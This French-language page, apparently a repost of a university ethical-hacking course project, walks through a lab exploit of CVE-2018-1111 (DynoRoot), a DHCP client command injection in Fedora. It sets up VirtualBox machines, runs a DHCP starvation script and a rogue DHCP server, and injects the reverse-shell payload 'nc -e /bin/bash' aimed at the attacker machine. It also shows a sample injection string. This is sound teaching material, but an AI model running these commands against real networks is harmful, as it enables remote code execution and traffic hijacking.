FEP3370-advanced-ethical-hacking — Exploitation DHCP avec DynoRoot (CVE-2018-1111) | Kitploit

<!-- omit in toc -->
#### Fonctionnement normal
Dans des situations normales, le code fonctionnerait parfaitement et analyserait les nouvelles options DHCP.
Par exemple, le code suivant :```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"

declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
  optname=${opt%%=*}
  optname=${optname,,}
  optname=new_${optname#dhcp4_}
  optvalue=${opt#*=}
  echo "export $optname=$optvalue"
done

<!-- omit in toc -->
#### Injection de code
Cependant, en raison du `eval` non sécurisé, il est possible d'injecter des commandes bash :```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'

eval "$(                             
  declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
  done
)"

### Sources
- [Entrée de la base d'exploits](https://www.exploit-db.com/exploits/44890)
- [Annonce de RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Article de blog Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Dépôt GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Annonce sur Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)

## Configuration
La configuration minimale pour démontrer l'exploit se compose de seulement deux machines : la machine `victim`
exécutant Fedora 28, et une machine `attacker`. Dans cette configuration, l'attaquant doit simplement fournir un
service DHCP et attendre la connexion de la victime.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
  <figcaption>Configuration minimale de l'exploit.</figcaption>
</figure>

Une configuration plus réaliste placerait les machines sur un réseau privé, où une troisième machine, la
`gateway`, est configurée comme serveur DHCP bénin et comme passerelle vers Internet.
Dans cette configuration, l'attaquant doit empêcher la victime de se connecter au serveur DHCP légitime
avant de pouvoir espérer mener l'attaque.

<figure style="text-align:center">
  <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
  <figcaption>Configuration de réseau privé avec une machine passerelle agissant comme serveur DHCP, routeur et pare-feu.</figcaption>
</figure>

Dans les sections suivantes, nous allons :
1. Installer VirtualBox
2. Créer 3 machines virtuelles : `gateway`, `attacker`, et `victim`
3. Installer le système d'exploitation sur les machines (utilisateurs, réseau et accès SSH)
4. Configurer la passerelle pour héberger le serveur DHCP bénin 
   pour le réseau interne virtuel fourni par VirtualBox
5. Installer les dépendances Python pour l'attaque

Pour [passer directement à l'action](#performing-the-attack) et éviter la configuration manuelle, il est possible de
lancer le script [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) dans le dossier `ansible`, qui créera (quasi)
automatiquement les machines virtuelles et les configurera en utilisant 
[Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html).
Assurez-vous simplement qu'Ansible et VirtualBox sont installés avant de lancer `setup.sh`.

### Préliminaires

#### Installer VirtualBox
Les instructions suivantes proviennent du [guide d'installation officiel](https://www.virtualbox.org/wiki/Downloads).

Ajoutez cette ligne à `/etc/apt/sources.list` :```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib

#### Installer Ansible (facultatif)
Depuis le [guide officiel pour Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible

Ajoutez ces entrées à la configuration SSH (`~/.ssh/config`):```
Host gateway.ethhack
  Port 6001
  User gateway   

Host victim.ethhack
  Port 6002
  User victim

Host attacker.ethhack
  Port 6003
  User attacker

Host *.ethhack
  LogLevel ERROR
  HostName localhost
  IdentityFile ~/.ssh/ethhack
  StrictHostKeyChecking no
  UserKnownHostsFile /dev/null

Créez la VM :
- L'interface réseau 1 est connectée au réseau NAT par défaut de VirtualBox
- L'interface réseau 2 est connectée au réseau interne `intnet`\
  (le « d » dans l'adresse MAC signifie DHCP)
- Redirection de port d'un port `600x` de l'hôte vers le port SSH de la machine virtuelle```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'

VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"

#### Installation de l'OS
La première fois que nous démarrons la machine, nous avons besoin d'un bureau virtuel pour suivre les étapes d'installation. Nous
pouvons démarrer la machine virtuelle en mode headless et utiliser `rdesktop-vrdp` pour nous connecter. Si VirtualBox est
en cours d'exécution sur un ordinateur de bureau, il peut être plus facile de lancer la machine virtuelle depuis l'interface graphique, mais
cette méthode fonctionnera même avec un hôte VirtualBox distant.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Connexion SSH
Pour faciliter l'accès, nous pouvons installer la clé SSH créée ci-dessus dans la machine `gateway` :```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack

Les événements DHCP sont consignés dans `/var/log/syslog`.
Nous pouvons mettre en évidence les entrées pertinentes avec :```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

#### Installation de l'OS
Au premier démarrage de la machine, nous avons besoin d'un bureau virtuel pour suivre les étapes d'installation. Nous
pouvons démarrer la machine virtuelle en mode headless et utiliser `rdesktop-vrdp` pour nous connecter. Si VirtualBox est
exécuté sur un ordinateur de bureau, il peut être plus facile de lancer la machine virtuelle depuis l'interface graphique, mais
cette méthode fonctionnera même avec un hôte VirtualBox distant.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Connexion SSH
Pour faciliter l'accès, nous pouvons installer la clé SSH créée ci-dessus dans la machine `attacker` :```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack

Ensuite, nous allons récupérer les deux scripts d'attaque depuis GitHub:
- **DHCP starvation**\
  Ce script va inonder le DHCP légitime avec de fausses requêtes, 
  épuisant le pool d'adresses disponibles.  ```bash
  git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'

Rogue DHCP
Une fois que le DHCP légitime a épuisé les adresses, ce script sera prêt à distribuer des offres DHCP intégrant le paramètre malveillant. Ce script est une version modifiée du CVE d'origine): ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'

Créer la VM:
- Interface réseau 1 connectée au réseau NAT par défaut de VirtualBox
- Interface réseau 2 connectée au réseau interne `intnet`\
  (le "f" dans l'adresse MAC signifie Fedora)
- Redirection de port d'un port `600x` sur l'hôte vers le port SSH dans la machine virtuelle```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'

VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
  --memory 2048 \
  --acpi on \
  --boot1 dvd \
  --nic1 nat \
  --nic2 'intnet' \
  --macaddress2 "${VM_MAC//:/}" \
  --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
  --audio none

VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 0 \
  --type hdd \
  --medium "${VM_NAME}.vdi"

VBoxManage storageattach "${VM_NAME}" \
  --storagectl "IDE Controller" \
  --port 0 \
  --device 1 \
  --type dvddrive \
  --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"

#### Installation de l'OS
La première fois que nous démarrons la machine, nous avons besoin d'un bureau virtuel pour suivre les étapes d'installation. Nous
pouvons démarrer la machine virtuelle en mode headless et utiliser `rdesktop-vrdp` pour nous connecter. Si VirtualBox est
exécuté sur un ordinateur de bureau, il peut être plus facile de lancer la machine virtuelle depuis l'interface graphique, mais
cette méthode fonctionnera même avec un hôte VirtualBox distant.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%

#### Connexion SSH
Pour faciliter l'accès, nous pouvons installer la clé SSH créée ci-dessus dans la machine `victim` :```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack

Sinon, cela peut être configuré en utilisant :```
sudo nmcli connection down   enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up     enp0s8

## Performing the attack

The following steps, executed in order, will showcase the DHCP attack.
We suggest setting up a terminal multiplexer like [Byobu](https://www.byobu.org/) to facilitate 
jumping from one machine to the other.

Before the attack:
1. Spin up the 3 virtual machines, which will automatically connect to the benign DHCP
2. Disconnect the Fedora machine and clean up the DHCP lease files to simulate a fresh connection
3. Restart the DHCP server to simulate a fresh connection

The attack itself consists in:
1. Firing up a series of fake DHCP REQUESTs from the attacker to _starve_ the benign DHCP server
2. Starting the rogue DHCP server that will send the malicious OFFERs to the victim
3. Reconnecting the Fedora machine and waiting for the NetworkManager to broadcas a DHCP DISCOVER
4. Waiting for the reverse shell to connect

If anything happens, stop all relevant services and start over.

### Gateway
Clean up old DHCP leases and the ARP table, then restart the DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8

sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'

Lancer l'épuisement DHCP (exécuter en tant que `root`) :```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
  --interface  enp0s8 \
  --pool-start 192.168.0.100 \
  --pool-end   192.168.0.105

Lancer l'attaque (exécuter en tant que `root`) :```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
  -i enp0s8 \
  -s 192.168.0.0/24 \
  -g 192.168.0.1 \
  -d 'victim.net' \
  -m "${MY_MAC}" \
  -p "nc -e /bin/bash ${MY_IP} 1337"

### Analyse

#### Capture vidéo
La [vidéo](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) suivante démontre l'exécution de l'attaque en suivant les
étapes ci-dessus. Dans la vidéo, on peut observer :
1. L'échange DHCP en 4 étapes entre la `gateway` et l'`attacker`
2. L'attaque de famine DHCP (DHCP starvation), à la fois dans la console de l'attaquant
   et dans les journaux du serveur DHCP (noter le `NACK` dû au bail existant de l'attaquant)
3. Le message « no free leases » de la `gateway` lorsque la `victim` diffuse un DHCP `DISCOVER`
4. Les messages DHCP forgés du serveur DHCP malveillant offrant `192.168.0.2`
5. La confirmation que netcat a reçu la connexion reverse shell depuis `192.168.0.2`
6. Les fausses options DNS reçues par la `victim`,
   c'est-à-dire l'adresse DNS `192.168.0.1` et le domaine `victim.net`
7. L'exécution de code à distance réussie de commandes simples sur la machine victime
8. Le `RELEASE` DHCP envoyé à la fin de l'attaque

<a href="https://youtu.be/rgjMzQ5ExyA">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>

#### Analyse du trafic

Le [fichier de capture](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) contenant la trace de l'attaque peut être analysé dans
[Wireshark](https://wiki.wireshark.org/DHCP). Dans la capture, on peut noter :
1. L'échange DHCP en 4 étapes entre la `gateway` et l'`attacker`
2. L'attaque de famine DHCP
3. L'échange DHCP initié par la `victim` et complété par l'`attacker`
4. Les requêtes et réponses ARP _who-has_ lorsque la `victim` s'est connectée à la session netcat
   sur l'`attacker`

<figure style="text-align:center">
  <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
  <figcaption>Capture de paquets de l'attaque, l'option DHCP liée à l'exploit est mise en évidence. Les lettres dans les adresses MAC signifient : <code>d</code> serveur DHCP, <code>a</code> attaquant, <code>f</code> victime Fedora</figcaption>
</figure>

## Travaux futurs
DynoRoot cible les anciennes distributions Fedora et RedHat, et a été corrigé dans les versions plus récentes.
Par conséquent, les chances d'exploiter cette vulnérabilité dans la nature sont limitées. Heureusement, les attaques DHCP ne
se limitent pas à l'exécution de code à distance : tout type d'option forgée sera accepté par le client,
indépendamment de la présence de la vulnérabilité DynoRoot. Le moyen le plus simple d'exploiter ce comportement
est d'annoncer une machine contrôlée par l'attaquant comme passerelle réseau ou comme DNS pour une certaine
zone, permettant ainsi de surveiller, inspecter et réacheminer tout trafic ultérieur.

Une autre direction intéressante concerne les attaques de famine DHCP. L'attaque présentée dans ce projet
repose sur l'inondation du serveur DHCP avec des `REQUESTS` provenant d'adresses MAC usurpées, ce qui n'est pas la
définition de la discrétion. Ce billet de blog explore la possibilité de
[réaliser des attaques de famine sans envoyer un seul paquet DHCP](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
mais en s'appuyant à la place sur des réponses ARP usurpées.

## Crédits
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) a été signalé à Red Hat
par [Felix Wilhelm](https://twitter.com/_fel1x) de l'équipe Google Security.

Le script python pour réaliser l'exploit provient du [dépôt](https://github.com/kkirsche/CVE-2018-1111)
GitHub de [Kevin Kirsche](https://github.com/kkirsche), avec de légères modifications pour ignorer
la propre adresse MAC de l'attaquant.

FEP3370-advanced-ethical-hacking

Populaires

Introduction

Contexte

Vulnérabilité

Configuration SSH commune

Machine passerelle

Création de la VM

Attaquant

Création de la VM

Dépendances logicielles

Victime Fedora

Création de la VM

Réseau

Attaquant

Victime

FEP3370-advanced-ethical-hacking

Populaires

DynoRoot CVE-2018-1111

Projet final pour le cours Advanced Ethical Hacking à KTH, Stockholm

Table des matières :

Introduction

Contexte

Vulnérabilité

Configuration SSH commune

Machine passerelle

Création de la VM

Attaquant

Création de la VM

Dépendances logicielles

Victime Fedora

Création de la VM

Réseau

Attaquant

Victime